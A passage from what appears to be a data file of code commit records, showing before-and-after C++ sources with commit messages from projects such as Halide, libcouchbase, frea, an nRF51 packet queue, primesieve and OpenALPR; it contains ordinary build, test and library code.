\/\/compile_module_to_shared_object(device_code, \"\/tmp\/hex.so\");\n#else\n debug(1) << \"Hexagon device code module: \" << device_code << \"\\n\";\n device_code.compile(Outputs().bitcode(\"hex.bc\"));\n\n string hex_command = \"${HL_HEXAGON_TOOLS}\/bin\/hexagon-clang hex.bc -fPIC -O3 -Wno-override-module -shared -o hex.so\";\n if (device_code.target().has_feature(Target::HVX_v62)) {\n hex_command += \" -mv62\";\n }\n if (device_code.target().has_feature(Target::HVX_128)) {\n hex_command += \" -mhvx-double\";\n }\n int result = system(hex_command.c_str());\n internal_assert(result == 0) << \"hexagon-clang failed\\n\";\n\n std::ifstream so(\"hex.so\", std::ios::binary | std::ios::ate);\n object.resize(so.tellg());\n so.seekg(0, std::ios::beg);\n so.read(reinterpret_cast<char*>(&object[0]), object.size());\n#endif\n\n \/\/ Put the compiled object into a buffer.\n size_t code_size = object.size();\n Expr code_ptr = buffer_ptr(&object[0], code_size, \"hexagon_code\");\n\n \/\/ Wrap the statement in calls to halide_initialize_kernels.\n Stmt init_kernels = call_extern_and_assert(\"halide_hexagon_initialize_kernels\",\n {module_state_ptr(), code_ptr, Expr((uint64_t) code_size)});\n s = Block::make(init_kernels, s);\n\n return s;\n }\n};\n\n}\n\nStmt inject_hexagon_rpc(Stmt s, const Target &host_target) {\n Target target(Target::NoOS, Target::Hexagon, 32);\n for (Target::Feature i : {Target::Debug, Target::NoAsserts, Target::HVX_64, Target::HVX_128, Target::HVX_v62}) {\n if (host_target.has_feature(i)) {\n target = target.with_feature(i);\n }\n }\n InjectHexagonRpc injector(target);\n s = injector.inject(s);\n return s;\n}\n\n} \/\/ namespace Internal\n} \/\/ namespace Halide\n<|endoftext|>"} {"text":"<commit_before>\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n * Copyright 2012-2020 Couchbase, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"config.h\"\n#include \"iotests.h\"\n#include <map>\n#include <libcouchbase\/utils.h>\n#include \"internal.h\"\n\nclass ServeropsUnitTest : public MockUnitTest\n{\n};\n\nextern \"C\" {\nstatic void testServerStatsCallback(lcb_INSTANCE *, lcb_CALLBACK_TYPE, const lcb_RESPSTATS *resp)\n{\n int *counter;\n lcb_respstats_cookie(resp, (void **)&counter);\n EXPECT_EQ(LCB_SUCCESS, lcb_respstats_status(resp));\n ++(*counter);\n}\n\nstatic void statKey_callback(lcb_INSTANCE *, int, const lcb_RESPSTATS *resp)\n{\n const char *server;\n size_t server_len;\n lcb_respstats_server(resp, &server, &server_len);\n if (server == nullptr) {\n return;\n }\n EXPECT_EQ(LCB_SUCCESS, lcb_respstats_status(resp));\n std::map<std::string, bool> *mm;\n lcb_respstats_cookie(resp, (void **)&mm);\n (*mm)[std::string(server, server_len)] = true;\n}\n}\n\n\/**\n * @test Server Statistics\n * @pre Schedule a server statistics command\n * @post The response is a valid statistics structure and its status is\n * @c SUCCESS.\n *\n * @post the statistics callback is invoked more than once.\n *\/\nTEST_F(ServeropsUnitTest, testServerStats)\n{\n lcb_INSTANCE *instance;\n HandleWrap hw;\n createConnection(hw, &instance);\n\n lcb_install_callback(instance, LCB_CALLBACK_STATS, (lcb_RESPCALLBACK)testServerStatsCallback);\n int numcallbacks = 0;\n lcb_CMDSTATS *cmd;\n lcb_cmdstats_create(&cmd);\n EXPECT_EQ(LCB_SUCCESS, lcb_stats(instance, &numcallbacks, cmd));\n lcb_cmdstats_destroy(cmd);\n lcb_wait(instance, LCB_WAIT_DEFAULT);\n EXPECT_LT(1, numcallbacks);\n}\n\nTEST_F(ServeropsUnitTest, testKeyStats)\n{\n SKIP_UNLESS_MOCK(); \/\/ FIXME: works on 5.5.0, fails on 6.0.0\n lcb_INSTANCE *instance;\n HandleWrap hw;\n createConnection(hw, &instance);\n lcb_install_callback(instance, LCB_CALLBACK_STATS, (lcb_RESPCALLBACK)statKey_callback);\n lcb_CMDSTATS *cmd;\n lcb_cmdstats_create(&cmd);\n\n std::string key = \"keystats_test\";\n storeKey(instance, key, \"blah blah\");\n lcb_cmdstats_key(cmd, key.c_str(), key.size());\n lcb_cmdstats_is_keystats(cmd, true);\n std::map<std::string, bool> mm;\n\n lcb_sched_enter(instance);\n lcb_STATUS err = lcb_stats(instance, &mm, cmd);\n ASSERT_EQ(LCB_SUCCESS, err);\n lcb_sched_leave(instance);\n\n lcb_wait(instance, LCB_WAIT_DEFAULT);\n ASSERT_EQ(lcb_get_num_replicas(instance) + 1, mm.size());\n\n \/\/ Ensure that a key with an embedded space fails\n key = \"key with space\";\n lcb_cmdstats_key(cmd, key.c_str(), key.size());\n lcb_cmdstats_is_keystats(cmd, true);\n err = lcb_stats(instance, nullptr, cmd);\n ASSERT_NE(LCB_SUCCESS, err);\n lcb_cmdstats_create(&cmd);\n}\n<commit_msg>tests: fix minor memory leak<commit_after>\/* -*- Mode: C++; tab-width: 4; c-basic-offset: 4; indent-tabs-mode: nil -*- *\/\n\/*\n * Copyright 2012-2020 Couchbase, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#include \"config.h\"\n#include \"iotests.h\"\n#include <map>\n#include <libcouchbase\/utils.h>\n#include \"internal.h\"\n\nclass ServeropsUnitTest : public MockUnitTest\n{\n};\n\nextern \"C\" {\nstatic void testServerStatsCallback(lcb_INSTANCE *, lcb_CALLBACK_TYPE, const lcb_RESPSTATS *resp)\n{\n int *counter;\n lcb_respstats_cookie(resp, (void **)&counter);\n EXPECT_EQ(LCB_SUCCESS, lcb_respstats_status(resp));\n ++(*counter);\n}\n\nstatic void statKey_callback(lcb_INSTANCE *, int, const lcb_RESPSTATS *resp)\n{\n const char *server;\n size_t server_len;\n lcb_respstats_server(resp, &server, &server_len);\n if (server == nullptr) {\n return;\n }\n EXPECT_EQ(LCB_SUCCESS, lcb_respstats_status(resp));\n std::map<std::string, bool> *mm;\n lcb_respstats_cookie(resp, (void **)&mm);\n (*mm)[std::string(server, server_len)] = true;\n}\n}\n\n\/**\n * @test Server Statistics\n * @pre Schedule a server statistics command\n * @post The response is a valid statistics structure and its status is\n * @c SUCCESS.\n *\n * @post the statistics callback is invoked more than once.\n *\/\nTEST_F(ServeropsUnitTest, testServerStats)\n{\n lcb_INSTANCE *instance;\n HandleWrap hw;\n createConnection(hw, &instance);\n\n lcb_install_callback(instance, LCB_CALLBACK_STATS, (lcb_RESPCALLBACK)testServerStatsCallback);\n int numcallbacks = 0;\n lcb_CMDSTATS *cmd;\n lcb_cmdstats_create(&cmd);\n EXPECT_EQ(LCB_SUCCESS, lcb_stats(instance, &numcallbacks, cmd));\n lcb_cmdstats_destroy(cmd);\n lcb_wait(instance, LCB_WAIT_DEFAULT);\n EXPECT_LT(1, numcallbacks);\n}\n\nTEST_F(ServeropsUnitTest, testKeyStats)\n{\n SKIP_UNLESS_MOCK(); \/\/ FIXME: works on 5.5.0, fails on 6.0.0\n lcb_INSTANCE *instance;\n HandleWrap hw;\n createConnection(hw, &instance);\n lcb_install_callback(instance, LCB_CALLBACK_STATS, (lcb_RESPCALLBACK)statKey_callback);\n lcb_CMDSTATS *cmd;\n lcb_cmdstats_create(&cmd);\n\n std::string key = \"keystats_test\";\n storeKey(instance, key, \"blah blah\");\n lcb_cmdstats_key(cmd, key.c_str(), key.size());\n lcb_cmdstats_is_keystats(cmd, true);\n std::map<std::string, bool> mm;\n\n lcb_sched_enter(instance);\n lcb_STATUS err = lcb_stats(instance, &mm, cmd);\n ASSERT_EQ(LCB_SUCCESS, err);\n lcb_sched_leave(instance);\n\n lcb_wait(instance, LCB_WAIT_DEFAULT);\n ASSERT_EQ(lcb_get_num_replicas(instance) + 1, mm.size());\n\n \/\/ Ensure that a key with an embedded space fails\n key = \"key with space\";\n lcb_cmdstats_key(cmd, key.c_str(), key.size());\n lcb_cmdstats_is_keystats(cmd, true);\n err = lcb_stats(instance, nullptr, cmd);\n ASSERT_NE(LCB_SUCCESS, err);\n lcb_cmdstats_destroy(cmd);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"test.hpp\"\n#include \"..\/compiler_macro.hpp\"\n\nnamespace frea {\n\tnamespace test {\n\t\t\/\/ template <class T>\n\t\t\/\/ using SMatrix = RMatrix<T>;\n\t\t\/\/ using SqTypes_t = seq::ExpandTypes_t2<\n\t\t\/\/ \ttypes::SquareMat_t,\n\t\t\/\/ \tstd::tuple<\n\t\t\/\/ \t\ttypes::Reg_t,\n\t\t\/\/ \t\tseq::Range_t<2,5>,\n\t\t\/\/ \t\tstd::tuple<BConst<false>>\n\t\t\/\/ \t>\n\t\t\/\/ >;\n\t\t\/\/ using SqTypes = ToTestTypes_t<SqTypes_t>;\n\t\t\/\/ TYPED_TEST_CASE(SMatrix, SqTypes);\n\t\t\/\/ TYPED_TEST(SMatrix, Transpose) {\n\t\t\/\/ \tusing value_t = typename TestFixture::value_t;\n\t\t\/\/ \tusing array_t = typename TestFixture::array_t;\n\t\t\/\/ \tusing mat_t = typename TestFixture::mat_t;\n\t\t\/\/\n\t\t\/\/ \t\/\/ 転置行列を二次元配列で計算した結果と比較\n\t\t\/\/ \tconstexpr auto range = Range<value_t>{-1e3, 1e3};\n\t\t\/\/ \tauto mat = this->makeRMat(range);\n\t\t\/\/ \tarray_t raw(mat);\n\t\t\/\/\n\t\t\/\/ \traw.transpose();\n\t\t\/\/ \tmat.transpose();\n\t\t\/\/ \tASSERT_LT(AbsMax(raw - mat), Threshold<value_t>());\n\t\t\/\/\n\t\t\/\/ \t\/\/ (AB)t と (B)t(A)tの結果は同じ\n\t\t\/\/ \tmat = this->makeRMat(range);\n\t\t\/\/ \tauto mat2 = this->makeRMat(range);\n\t\t\/\/ \tconst mat_t result0 = (mat * mat2).transposition();\n\t\t\/\/ \tmat.transpose();\n\t\t\/\/ \tmat2.transpose();\n\t\t\/\/ \tconst mat_t result1 = mat2 * mat;\n\t\t\/\/ \tASSERT_LT(AbsMax(mat_t(result0 - result1)), Threshold<value_t>());\n\t\t\/\/ }\n\t}\n}\n<commit_msg>コメントアウトしたままになっていたテストコードを有効化<commit_after>#include \"test.hpp\"\n\nnamespace frea {\n\tnamespace test {\n\t\ttemplate <class T>\n\t\tusing SMatrix = RMatrix<T>;\n\t\tusing SqTypes_t = seq::ExpandTypes_t2<\n\t\t\ttypes::SquareMat_t,\n\t\t\tstd::tuple<\n\t\t\t\ttypes::Reg_t,\n\t\t\t\tseq::Range_t<2,5>,\n\t\t\t\tstd::tuple<BConst<false>>\n\t\t\t>\n\t\t>;\n\t\tusing SqTypes = ToTestTypes_t<SqTypes_t>;\n\t\tTYPED_TEST_CASE(SMatrix, SqTypes);\n\t\tTYPED_TEST(SMatrix, Transpose) {\n\t\t\tusing value_t = typename TestFixture::value_t;\n\t\t\tusing array_t = typename TestFixture::array_t;\n\t\t\tusing mat_t = typename TestFixture::mat_t;\n\n\t\t\t\/\/ 転置行列を二次元配列で計算した結果と比較\n\t\t\tconstexpr auto range = Range<value_t>{-1e3, 1e3};\n\t\t\tauto mat = this->makeRMat(range);\n\t\t\tarray_t raw(mat);\n\n\t\t\traw.transpose();\n\t\t\tmat.transpose();\n\t\t\tASSERT_LE(AbsMax(raw - mat), Threshold<value_t>(1<<5,0));\n\n\t\t\t\/\/ (AB)t と (B)t(A)tの結果は同じ\n\t\t\tmat = this->makeRMat(range);\n\t\t\tauto mat2 = this->makeRMat(range);\n\t\t\tconst mat_t result0 = (mat * mat2).transposition();\n\t\t\tmat.transpose();\n\t\t\tmat2.transpose();\n\t\t\tconst mat_t result1 = mat2 * mat;\n\t\t\tASSERT_LE(AbsMax(mat_t(result0 - result1)), Threshold<value_t>(1<<5,0));\n\t\t}\n\t}\n}\n<|endoftext|>"} {"text":"<commit_before>extern \"C\" \n{\n #include \"packet_queue.h\"\n #include \"error.h\"\n #include \"nrf51.h\"\n #include \"nrf51_bitfields.h\"\n}\n\n#include \"CppUTest\/TestHarness.h\"\n\n#include <limits.h>\n#include <string.h>\n\nextern \"C\"\n{\n void error_handler(uint32_t err_code, uint32_t line_num, char * file_name)\n {\n\n }\n}\n\n\nTEST_GROUP(packet_queue)\n{\n packet_queue_t queue;\n\n void setup(void)\n {\n packet_queue_init(&queue);\n }\n \n void teardown(void)\n {\n }\n};\n\nTEST(packet_queue, test_queue_init_succeed)\n{\n packet_queue_t queue;\n LONGS_EQUAL(SUCCESS, packet_queue_init(&queue));\n}\n\nTEST(packet_queue, test_queue_new_queue_is_empty)\n{\n LONGS_EQUAL(true, packet_queue_is_empty(&queue));\n\n radio_packet_t packet;\n packet_queue_add(&queue, &packet);\n\n LONGS_EQUAL(false, packet_queue_is_empty(&queue));\n}\n\nTEST(packet_queue, test_queue_full_queue_is_full)\n{\n LONGS_EQUAL(false, packet_queue_is_full(&queue));\n\n for (int i = 0; i < PACKET_QUEUE_ELEMENTS; i++)\n {\n radio_packet_t packet;\n packet_queue_add(&queue, &packet);\n }\n LONGS_EQUAL(true, packet_queue_is_full(&queue));\n}\n\nTEST(packet_queue, test_queue_add_succeeds_on_empty_queue)\n{\n radio_packet_t packet;\n packet.data[0] = rand()*INT_MAX;\n LONGS_EQUAL(SUCCESS, packet_queue_add(&queue, &packet));\n\n LONGS_EQUAL(0, memcmp(&packet, &queue.packets[0], sizeof(packet)));\n}\n\nTEST(packet_queue, test_queue_add_succeeds_on_non_empty_queue)\n{\n radio_packet_t packet;\n packet_queue_add(&queue, &packet);\n\n packet.data[0] = rand()*INT_MAX;\n LONGS_EQUAL(SUCCESS, packet_queue_add(&queue, &packet));\n\n LONGS_EQUAL(0, memcmp(&packet, &queue.packets[queue.tail-1], sizeof(packet)));\n}\n\nTEST(packet_queue, test_queue_add_fails_on_full_queue)\n{\n for (int i = 0; i < PACKET_QUEUE_ELEMENTS; i++)\n {\n radio_packet_t packet;\n LONGS_EQUAL(SUCCESS, packet_queue_add(&queue, &packet));\n }\n\n radio_packet_t packet;\n LONGS_EQUAL(NO_MEMORY, packet_queue_add(&queue, &packet));\n}\n\nTEST(packet_queue, test_queue_get_fails_on_empty_queue)\n{\n radio_packet_t * packet;\n LONGS_EQUAL(NOT_FOUND, packet_queue_get(&queue, &packet));\n\n}\n\nTEST(packet_queue, test_queue_get_returns_correct_pointer)\n{\n radio_packet_t in_packet;\n packet_queue_add(&queue, &in_packet);\n\n radio_packet_t * out_packet = 0;\n packet_queue_get(&queue, &out_packet);\n\n POINTERS_EQUAL(out_packet, &queue.packets[0]);\n}\n\nTEST(packet_queue, test_queue_add_get_packet)\n{\n radio_packet_t in_packet;\n in_packet.data[0] = rand()*INT_MAX;\n packet_queue_add(&queue, &in_packet);\n\n radio_packet_t * out_packet;\n packet_queue_get(&queue, &out_packet);\n \n LONGS_EQUAL(0, memcmp(&in_packet, out_packet, sizeof(in_packet)));\n}\n \nTEST(packet_queue, test_queue_is_fifo)\n{\n radio_packet_t in_packets[PACKET_QUEUE_ELEMENTS];\n\n for (int i = 0; i < PACKET_QUEUE_ELEMENTS; i++)\n {\n in_packets[i].data[0] = rand()*INT_MAX;\n LONGS_EQUAL(SUCCESS, packet_queue_add(&queue, &in_packets[i]));\n }\n\n radio_packet_t * out_packets[PACKET_QUEUE_ELEMENTS] = {0};\n for (int i = 0; i < PACKET_QUEUE_ELEMENTS; i++)\n {\n LONGS_EQUAL(SUCCESS, packet_queue_get(&queue, &out_packets[i]));\n }\n\n CHECK(0 != out_packets[0]);\n LONGS_EQUAL(0, memcmp(out_packets[0], &in_packets[0], sizeof(in_packets[0])));\n CHECK(0 != out_packets[1]);\n LONGS_EQUAL(0, memcmp(out_packets[1], &in_packets[1], sizeof(in_packets[1])));\n CHECK(0 != out_packets[2]);\n LONGS_EQUAL(0, memcmp(out_packets[2], &in_packets[2], sizeof(in_packets[2])));\n CHECK(0 != out_packets[3]);\n LONGS_EQUAL(0, memcmp(out_packets[3], &in_packets[3], sizeof(in_packets[3])));\n CHECK(0 != out_packets[4]);\n LONGS_EQUAL(0, memcmp(out_packets[4], &in_packets[4], sizeof(in_packets[4])));\n CHECK(0 != out_packets[5]);\n LONGS_EQUAL(0, memcmp(out_packets[5], &in_packets[5], sizeof(in_packets[5])));\n CHECK(0 != out_packets[6]);\n LONGS_EQUAL(0, memcmp(out_packets[6], &in_packets[6], sizeof(in_packets[6])));\n CHECK(0 != out_packets[7]);\n LONGS_EQUAL(0, memcmp(out_packets[7], &in_packets[7], sizeof(in_packets[7])));\n CHECK(0 != out_packets[8]);\n LONGS_EQUAL(0, memcmp(out_packets[8], &in_packets[8], sizeof(in_packets[8])));\n CHECK(0 != out_packets[9]);\n LONGS_EQUAL(0, memcmp(out_packets[9], &in_packets[9], sizeof(in_packets[9])));\n}\n<commit_msg>Accomodate smaller queue in tests.<commit_after>extern \"C\" \n{\n #include \"packet_queue.h\"\n #include \"error.h\"\n #include \"nrf51.h\"\n #include \"nrf51_bitfields.h\"\n}\n\n#include \"CppUTest\/TestHarness.h\"\n\n#include <limits.h>\n#include <string.h>\n\nextern \"C\"\n{\n void error_handler(uint32_t err_code, uint32_t line_num, char * file_name)\n {\n\n }\n}\n\n\nTEST_GROUP(packet_queue)\n{\n packet_queue_t queue;\n\n void setup(void)\n {\n packet_queue_init(&queue);\n }\n \n void teardown(void)\n {\n }\n};\n\nTEST(packet_queue, test_queue_init_succeed)\n{\n packet_queue_t queue;\n LONGS_EQUAL(SUCCESS, packet_queue_init(&queue));\n}\n\nTEST(packet_queue, test_queue_new_queue_is_empty)\n{\n LONGS_EQUAL(true, packet_queue_is_empty(&queue));\n\n radio_packet_t packet;\n packet_queue_add(&queue, &packet);\n\n LONGS_EQUAL(false, packet_queue_is_empty(&queue));\n}\n\nTEST(packet_queue, test_queue_full_queue_is_full)\n{\n LONGS_EQUAL(false, packet_queue_is_full(&queue));\n\n for (int i = 0; i < PACKET_QUEUE_ELEMENTS; i++)\n {\n radio_packet_t packet;\n packet_queue_add(&queue, &packet);\n }\n LONGS_EQUAL(true, packet_queue_is_full(&queue));\n}\n\nTEST(packet_queue, test_queue_add_succeeds_on_empty_queue)\n{\n radio_packet_t packet;\n packet.data[0] = rand()*INT_MAX;\n LONGS_EQUAL(SUCCESS, packet_queue_add(&queue, &packet));\n\n LONGS_EQUAL(0, memcmp(&packet, &queue.packets[0], sizeof(packet)));\n}\n\nTEST(packet_queue, test_queue_add_succeeds_on_non_empty_queue)\n{\n radio_packet_t packet;\n packet_queue_add(&queue, &packet);\n\n packet.data[0] = rand()*INT_MAX;\n LONGS_EQUAL(SUCCESS, packet_queue_add(&queue, &packet));\n\n LONGS_EQUAL(0, memcmp(&packet, &queue.packets[queue.tail-1], sizeof(packet)));\n}\n\nTEST(packet_queue, test_queue_add_fails_on_full_queue)\n{\n for (int i = 0; i < PACKET_QUEUE_ELEMENTS; i++)\n {\n radio_packet_t packet;\n LONGS_EQUAL(SUCCESS, packet_queue_add(&queue, &packet));\n }\n\n radio_packet_t packet;\n LONGS_EQUAL(NO_MEMORY, packet_queue_add(&queue, &packet));\n}\n\nTEST(packet_queue, test_queue_get_fails_on_empty_queue)\n{\n radio_packet_t * packet;\n LONGS_EQUAL(NOT_FOUND, packet_queue_get(&queue, &packet));\n\n}\n\nTEST(packet_queue, test_queue_get_returns_correct_pointer)\n{\n radio_packet_t in_packet;\n packet_queue_add(&queue, &in_packet);\n\n radio_packet_t * out_packet = 0;\n packet_queue_get(&queue, &out_packet);\n\n POINTERS_EQUAL(out_packet, &queue.packets[0]);\n}\n\nTEST(packet_queue, test_queue_add_get_packet)\n{\n radio_packet_t in_packet;\n in_packet.data[0] = rand()*INT_MAX;\n packet_queue_add(&queue, &in_packet);\n\n radio_packet_t * out_packet;\n packet_queue_get(&queue, &out_packet);\n \n LONGS_EQUAL(0, memcmp(&in_packet, out_packet, sizeof(in_packet)));\n}\n \nTEST(packet_queue, test_queue_is_fifo)\n{\n radio_packet_t in_packets[PACKET_QUEUE_ELEMENTS];\n\n for (int i = 0; i < PACKET_QUEUE_ELEMENTS; i++)\n {\n in_packets[i].data[0] = rand()*INT_MAX;\n LONGS_EQUAL(SUCCESS, packet_queue_add(&queue, &in_packets[i]));\n }\n\n radio_packet_t * out_packets[PACKET_QUEUE_ELEMENTS] = {0};\n for (int i = 0; i < PACKET_QUEUE_ELEMENTS; i++)\n {\n LONGS_EQUAL(SUCCESS, packet_queue_get(&queue, &out_packets[i]));\n }\n\n CHECK(0 != out_packets[0]);\n LONGS_EQUAL(0, memcmp(out_packets[0], &in_packets[0], sizeof(in_packets[0])));\n CHECK(0 != out_packets[1]);\n LONGS_EQUAL(0, memcmp(out_packets[1], &in_packets[1], sizeof(in_packets[1])));\n CHECK(0 != out_packets[2]);\n LONGS_EQUAL(0, memcmp(out_packets[2], &in_packets[2], sizeof(in_packets[2])));\n CHECK(0 != out_packets[3]);\n LONGS_EQUAL(0, memcmp(out_packets[3], &in_packets[3], sizeof(in_packets[3])));\n CHECK(0 != out_packets[4]);\n LONGS_EQUAL(0, memcmp(out_packets[4], &in_packets[4], sizeof(in_packets[4])));\n CHECK(0 != out_packets[5]);\n LONGS_EQUAL(0, memcmp(out_packets[5], &in_packets[5], sizeof(in_packets[5])));\n CHECK(0 != out_packets[6]);\n LONGS_EQUAL(0, memcmp(out_packets[6], &in_packets[6], sizeof(in_packets[6])));\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\n\/\/\/ @file IteratorHelper.cpp\n\/\/\/ Functions used to calculate the next start and stop\n\/\/\/ numbers for primesieve::iterator.\n\/\/\/\n\/\/\/ Copyright (C) 2019 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <primesieve\/config.hpp>\n#include <primesieve\/IteratorHelper.hpp>\n#include <primesieve\/PrimeGenerator.hpp>\n#include <primesieve\/pmath.hpp>\n\n#include <stdint.h>\n#include <algorithm>\n#include <cmath>\n#include <limits>\n\nusing namespace std;\nusing namespace primesieve;\n\nnamespace {\n\nuint64_t getNextDist(uint64_t n, uint64_t dist)\n{\n double x = (double) n;\n uint64_t tinyDist = PrimeGenerator::maxCachedPrime() * 4;\n uint64_t minDist = (uint64_t) sqrt(x);\n uint64_t maxDist = 1ull << 60;\n\n dist *= 4;\n dist = max(dist, tinyDist);\n dist = max(dist, minDist);\n dist = min(dist, maxDist);\n\n return dist;\n}\n\nuint64_t getPrevDist(uint64_t n, uint64_t dist)\n{\n double x = (double) n;\n x = max(x, 10.0);\n double logx = ceil(log(x));\n\n uint64_t minDist = config::MIN_CACHE_ITERATOR;\n uint64_t maxDist = config::MAX_CACHE_ITERATOR;\n minDist \/= sizeof(uint64_t);\n maxDist \/= sizeof(uint64_t);\n minDist *= (uint64_t) logx;\n maxDist *= (uint64_t) logx;\n\n uint64_t tinyDist = PrimeGenerator::maxCachedPrime() * 4;\n uint64_t defaultDist = (uint64_t) (sqrt(x) * 2);\n\n dist *= 4;\n dist = max(dist, tinyDist);\n dist = min(dist, minDist);\n dist = max(dist, defaultDist);\n dist = min(dist, maxDist);\n\n return dist;\n}\n\nbool useStopHint(uint64_t start,\n uint64_t stopHint)\n{\n return stopHint >= start &&\n stopHint < numeric_limits<uint64_t>::max();\n}\n\nbool useStopHint(uint64_t start,\n uint64_t stop,\n uint64_t stopHint)\n{\n return stopHint >= start &&\n stopHint <= stop;\n}\n\n} \/\/ namespace\n\nnamespace primesieve {\n\nvoid IteratorHelper::next(uint64_t* start,\n uint64_t* stop,\n uint64_t stopHint,\n uint64_t* dist)\n{\n *start = checkedAdd(*stop, 1);\n uint64_t maxCachedPrime = PrimeGenerator::maxCachedPrime();\n\n if (*start < maxCachedPrime)\n {\n \/\/ When the stop number <= maxCachedPrime\n \/\/ primesieve::iterator uses the primes\n \/\/ cache instead of sieving and does not\n \/\/ even initialize Erat::init()\n *stop = maxCachedPrime;\n *dist = *stop - *start;\n }\n else\n {\n *dist = getNextDist(*start, *dist);\n *stop = checkedAdd(*start, *dist);\n\n if (useStopHint(*start, stopHint))\n *stop = checkedAdd(stopHint, maxPrimeGap(stopHint));\n }\n}\n\nvoid IteratorHelper::prev(uint64_t* start,\n uint64_t* stop,\n uint64_t stopHint,\n uint64_t* dist)\n{\n *stop = checkedSub(*start, 1);\n *dist = getPrevDist(*stop, *dist);\n *start = checkedSub(*stop, *dist);\n\n if (useStopHint(*start, *stop, stopHint))\n *start = checkedSub(stopHint, maxPrimeGap(stopHint));\n}\n\n} \/\/ namespace\n<commit_msg>Remove unused header<commit_after>\/\/\/\n\/\/\/ @file IteratorHelper.cpp\n\/\/\/ Functions used to calculate the next start and stop\n\/\/\/ numbers for primesieve::iterator.\n\/\/\/\n\/\/\/ Copyright (C) 2019 Kim Walisch, <kim.walisch@gmail.com>\n\/\/\/\n\/\/\/ This file is distributed under the BSD License. See the COPYING\n\/\/\/ file in the top level directory.\n\/\/\/\n\n#include <primesieve\/config.hpp>\n#include <primesieve\/IteratorHelper.hpp>\n#include <primesieve\/PrimeGenerator.hpp>\n#include <primesieve\/pmath.hpp>\n\n#include <stdint.h>\n#include <algorithm>\n#include <cmath>\n\nusing namespace std;\nusing namespace primesieve;\n\nnamespace {\n\nuint64_t getNextDist(uint64_t n, uint64_t dist)\n{\n double x = (double) n;\n uint64_t tinyDist = PrimeGenerator::maxCachedPrime() * 4;\n uint64_t minDist = (uint64_t) sqrt(x);\n uint64_t maxDist = 1ull << 60;\n\n dist *= 4;\n dist = max(dist, tinyDist);\n dist = max(dist, minDist);\n dist = min(dist, maxDist);\n\n return dist;\n}\n\nuint64_t getPrevDist(uint64_t n, uint64_t dist)\n{\n double x = (double) n;\n x = max(x, 10.0);\n double logx = ceil(log(x));\n\n uint64_t minDist = config::MIN_CACHE_ITERATOR;\n uint64_t maxDist = config::MAX_CACHE_ITERATOR;\n minDist \/= sizeof(uint64_t);\n maxDist \/= sizeof(uint64_t);\n minDist *= (uint64_t) logx;\n maxDist *= (uint64_t) logx;\n\n uint64_t tinyDist = PrimeGenerator::maxCachedPrime() * 4;\n uint64_t defaultDist = (uint64_t) (sqrt(x) * 2);\n\n dist *= 4;\n dist = max(dist, tinyDist);\n dist = min(dist, minDist);\n dist = max(dist, defaultDist);\n dist = min(dist, maxDist);\n\n return dist;\n}\n\nbool useStopHint(uint64_t start,\n uint64_t stopHint)\n{\n return stopHint >= start &&\n stopHint < numeric_limits<uint64_t>::max();\n}\n\nbool useStopHint(uint64_t start,\n uint64_t stop,\n uint64_t stopHint)\n{\n return stopHint >= start &&\n stopHint <= stop;\n}\n\n} \/\/ namespace\n\nnamespace primesieve {\n\nvoid IteratorHelper::next(uint64_t* start,\n uint64_t* stop,\n uint64_t stopHint,\n uint64_t* dist)\n{\n *start = checkedAdd(*stop, 1);\n uint64_t maxCachedPrime = PrimeGenerator::maxCachedPrime();\n\n if (*start < maxCachedPrime)\n {\n \/\/ When the stop number <= maxCachedPrime\n \/\/ primesieve::iterator uses the primes\n \/\/ cache instead of sieving and does not\n \/\/ even initialize Erat::init()\n *stop = maxCachedPrime;\n *dist = *stop - *start;\n }\n else\n {\n *dist = getNextDist(*start, *dist);\n *stop = checkedAdd(*start, *dist);\n\n if (useStopHint(*start, stopHint))\n *stop = checkedAdd(stopHint, maxPrimeGap(stopHint));\n }\n}\n\nvoid IteratorHelper::prev(uint64_t* start,\n uint64_t* stop,\n uint64_t stopHint,\n uint64_t* dist)\n{\n *stop = checkedSub(*start, 1);\n *dist = getPrevDist(*stop, *dist);\n *start = checkedSub(*stop, *dist);\n\n if (useStopHint(*start, *stop, stopHint))\n *start = checkedSub(stopHint, maxPrimeGap(stopHint));\n}\n\n} \/\/ namespace\n<|endoftext|>"} {"text":"<commit_before>\n#include <unistd.h>\n#include <sstream>\n\n#include \"tclap\/CmdLine.h\"\n#include \"beanstalk.hpp\"\n#include \"alpr.h\"\n#include \"openalpr\/simpleini\/simpleini.h\"\n#include \"openalpr\/cjson.h\"\n#include \"support\/tinythread.h\"\n#include \"videobuffer.h\"\n#include \"uuid.h\"\n#include <curl\/curl.h>\n\n\n\/\/ prototypes\nvoid streamRecognitionThread(void* arg);\nbool writeToQueue(std::string jsonResult);\nbool uploadPost(std::string url, std::string data);\nvoid dataUploadThread(void* arg);\n\n\/\/ Constants\nconst std::string DEFAULT_LOG_FILE_PATH=\"\/var\/log\/openalpr.log\";\nconst std::string WTS_CONFIG_FILE_PATH=\"\/etc\/openalpr\/wts.conf\";\n\nconst std::string BEANSTALK_QUEUE_HOST=\"127.0.0.1\";\nconst int BEANSTALK_PORT=11300;\nconst std::string BEANSTALK_TUBE_NAME=\"alpr\";\n\nstruct CaptureThreadData\n{\n std::string stream_url;\n std::string site_id;\n int camera_id;\n \n std::string config_file;\n std::string country_code;\n std::string output_image_folder;\n};\n\nstruct UploadThreadData\n{\n std::string upload_url;\n};\n\nbool daemon_active;\n\nint main( int argc, const 